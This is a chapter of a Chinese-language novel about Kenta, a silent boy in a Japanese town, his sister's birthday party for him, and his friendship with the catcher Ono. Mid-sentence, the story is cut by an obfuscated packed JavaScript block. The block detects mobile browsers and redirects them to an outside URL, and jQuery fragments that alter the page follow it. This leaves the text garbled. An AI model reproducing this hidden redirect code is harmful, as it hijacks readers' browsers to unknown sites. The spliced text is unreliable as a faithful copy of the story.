窗外的雨敲打着町屋铁皮屋檐，建人把游戏机扔到榻榻米上：“喂，还记得你小学第一个生日会吗？”


    健太擦拭棒球的手顿了顿，月光沿着球缝爬进那年的梅雨季。


    六岁的健太像株长在仓库阴影里的植物。棒球砸在掌心时沉默，被少棒队孩子王推搡时沉默，连美咲替他缝补撕裂的队服时，针尖刺破手指渗出血珠，他也只是把创可贴推过去，嘴唇抿的紧紧的。


    “那傻子...”建人把可乐罐捏出凹痕，“天天蹲后院用树枝画战术图，还以为自己活在无人岛。”


    直到生日前夜，美咲掀开健太的枕头——里面埋着全班孩子的合影，每个人的脸都被铅笔狠狠划掉。


    美咲的行动在翌日清晨爆发。她解下沾满鱼腥的围裙，穿上压箱底的连衣裙，登记册包上印着帕恰狗的保鲜膜。


    “荒巻家恳请各位莅临幼弟生日会。”她在第一家门前九十度鞠躬，刘海滴下的雨水在玄关聚成水洼。


    主妇敷衍着“会转告孩子”，关门时嘀咕“单亲家庭真可怕”。


    建人趴在便利店窗边，看见美咲在第七户人家被泼了洗菜水。“这孩子只是不太会表达...”她抹去脸上的菜叶，笑容僵硬如放了一个月的饭团。


    铁平突然踹开店门，金项链拍在收银台：“要最大的鲜奶油蛋糕！酒钱换的！”


    生日会当天，町屋静得能听见金太郎挠门的声音。健太缩在棒球杂志堆里，指甲在“甲子园”三个字上抠出个洞。


    “惊喜！！”铁平踹门而入的瞬间，蛋糕盒底突然裂开，鲜奶油瀑布般浇在他精心打理的飞机头上。


    门口站着三个浑身湿透的小孩——隔壁拉面店的女儿，柏青哥店老板的孙子，还有曾骂健太“哑巴”的少棒队捕手。


    他们盯着铁平头发上的草莓，爆发出惊天大笑。


    “笑屁！”铁平把奶油甩向建人，“臭小子快分蛋糕！”


    健太被推到餐桌主位时，捕手突然掏出棒球：“喂，接得住就和你玩。”球砸向蛋糕的刹那，健太本能挥臂——奶油炮弹般糊在捕手脸上。


    死寂中，花店女孩突然用奶油点健太的鼻尖：“合格了！”


    后半夜，町屋地板变成奶油战场。铁平顶着蛋糕托盘当头盔，美咲的裙子上溅满草莓酱。建人把奶油抹在健太睫毛上：“寿星要有仪式感！”


    健太突然抓住建人沾满奶油的手腕。


    “...哥。”


    铁平打翻果汁瓶，美咲的团扇停在半空。


    “...谢谢。”


    美咲冲进厨房的脚步声比金太郎啃骨头还响。建人扒着门缝偷看时，发现她正用袖子擦眼睛，油锅里的章鱼烧焦成炭块。


    月光漫过窗棂，健太转动腕上的护腕——内侧绣线已磨损，仍能辨出「荒巻家四男」的轮廓。


    “后来才知道，”建人把可乐罐抛进垃圾桶，“姐那晚跑了二十三家。”


    健太的棒球滚到墙角的旧冰箱前，那里曾藏过沾满奶油的生日合照。照片背面是美咲的字迹：“健太的第一次生日派对。”


    雨声渐密时，金太郎突然叼来半盒发霉的蛋糕蜡纸。建人用脚拨开狗头：“死狗！这都多少年前...”


    健太却弯腰拾起蜡纸，月光照亮一角褪色的蓝——是当年捕手戴的棒球帽颜色。


    小野勇树——那个把奶油砸在健太脸上的捕手，生日会后成了町屋的常客。他总在黄昏翻过居酒屋后院栅栏，棒球帽反戴，露出眉骨结痂的伤。


    “喂哑巴！”他把手套甩向仓库，“接不住这球就请我吃章鱼烧！”


    健太用三指接球的动作像呼吸般自然，球砸进手套的闷响惊飞夜叉丸。美咲从厨房探头：“臭小子！再踩坏栅栏就卖你抵债！”


    他们的对话稀少如旱季的雨。小野嘲笑健太画的战术图像“外星密码”，健太沉默着调整他错误的蹲姿。


    建人常见两人并排坐在柏青哥店后巷，小野滔滔不绝讲甲子园传奇，健太把饭团里的梅干挑给他——这东京来的孩子嗜酸如命。


    裂缝出现在六年级夏末。小野父亲调职东京的通知书，和他被少棒联盟淘汰的成绩单一同抵达。那晚他踹翻町屋的垃圾桶，啤酒罐滚到健太脚边。


    “凭什么！”小野把淘汰通知书撕成雪片，“你这种哑巴都能当王牌...”


    健太突然拽过他手腕，铅笔在对方掌心写：“控球不稳因为轴心脚偏移3°”。


    小野怔住，眼泪混着雨水砸在公式上。健太把珍藏的签名球塞进他口袋——那是铁平用暴走族徽章换的野茂英雄签名。


    告别日暴雨如注。健太在车站前等到制服湿透，小野才拖着行李箱现身。他甩来沾满泥的捕手手套：“送你了！反正到东京要用新的！”


    手套内侧用油性笔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781778|170792||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    写着「给小哑巴」，字迹被雨水泡涨。健太突然抓住他衣襟，喉结滚动却发不出声。


    “我会成为职业选手，”小野拍掉他的手，笑容比哭难看，“比你先站上甲子园那种！”


    新干线启动时，小野把半个身子探出车窗：“接好了！”


    章鱼烧纸盒划破雨幕，健太用捕手手套稳稳接住。最后两颗已凉透，梅干馅酸得他眼眶发烫。


    柏青哥店的孙子阿宏总在周三偷带饭团来找健太。


    他蹲在仓库轮胎堆里，把鱼籽抠出来铺在健太的糙米饭上：“奶奶说投手要补眼睛！”油渍在作业本晕开，建人路过默默的说了一句：“我弟弟不是gay。”


    拉面店女儿小葵的友情像熬过头的猪骨汤——浓稠又笨拙。她把健太被扯坏的棒球帽改成斜挎包，针脚歪得像地震后的电线杆。


    “哑巴背这个好看！”她揪住想逃的健太钉纽扣，夜叉丸的尾巴扫翻颜料罐，蓝染料泼满三人校服。美咲拎着擀面杖追打三条街，最后用免费叉烧收买拉面店老板封口。


    小野勇树的存在像枚酸梅干。他总在雨天翻过腐烂的木栅栏，靴底的泥在玄关拓出东京地图。


    “哑巴！接球！”湿透的棒球砸向佛龛，铁平珍藏的暴走族徽章应声落地。


    健太用三指钳住球时，小野正被美咲揪着耳朵涂碘酒——翻栅栏的锈钉划破了他膝盖。


    “疼死了！泼妇！”


    “再叫就给你涂辣椒油！”


    建人蹲在檐廊啃黄瓜，看健太默默把小野的破球鞋拎去烘干。


    烘干机轰鸣声中，小野突然说：“你哥好像便利店看门大叔。”健太把温度调高一档，鞋胶熔化的焦臭里，建人想起前世值班室的泡面香。


    某个台风天，三人挤在仓库看甲子园重播。小野把冰棍分给健太舔，阿宏尖叫“间接接吻！”，被小葵用《少女革命》DVD砸头。


    建人望着漏雨的屋顶呢喃：“上辈子部门旅游也这么吵...”暴雨淹没了后半句。


    离别前夜，小野在町屋后巷垒起二十三个空章鱼烧盒——每盒代表美咲当年敲过的门。


    “到东京我会组支球队，”他踩瘪纸盒像踏碎星辰，“队名就叫...奶油炮弹。”


    健太从书包抽出笔记本，撕下画满战术图的一页。月光照亮捕手站位示意图，角落蜷着一行小字：“给小野的无声全垒打”。